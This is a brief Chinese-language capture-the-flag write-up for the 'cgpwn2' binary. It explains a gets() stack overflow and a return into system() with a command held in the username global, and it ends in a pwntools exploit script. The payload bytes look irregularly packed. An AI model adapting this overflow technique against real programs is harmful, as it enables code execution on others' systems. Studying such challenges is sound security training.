A、流程分析
1、将输入的用户名存储到全局变量
2、通过gets()获取留言信息
B、利用分析
1、gets( ebp-26h ) -> 26h(填充数据) + 4(ebp) + 4(返回地址) -> payload构造
2、可利用函数
在pwn函数有system函数,可通过该地址调用系统命令
3、用户名使用的全局变量,可以输入命令,搭配system使用
4、注意事项
26h(填充数据) + 4(ebp) + 4(返回地址) ,ret之后esp-4 , 调用call后esp+4,也就是esp不改变,因此参数放在返回地址后面即可
payload -> 26h(填充数据) + 4(ebp) + 4(返回地址) +4(name全局变量地址)
C、exp
#!/usr/bin/python3
from pwn import *
#litter data + system address + public address
payload = 10*p32(0x61616161) + p32(0x855A6161) + p32(0xA0800804) +p32(0x00000804)
print(payload)
p = process('./cgpwn2')
p.recvuntil('please tell me your name')
p.sendline('cat falg') # system command
p.recvuntil('hello,you can leave some message here:')
p.sendline(payload)
p.interactive()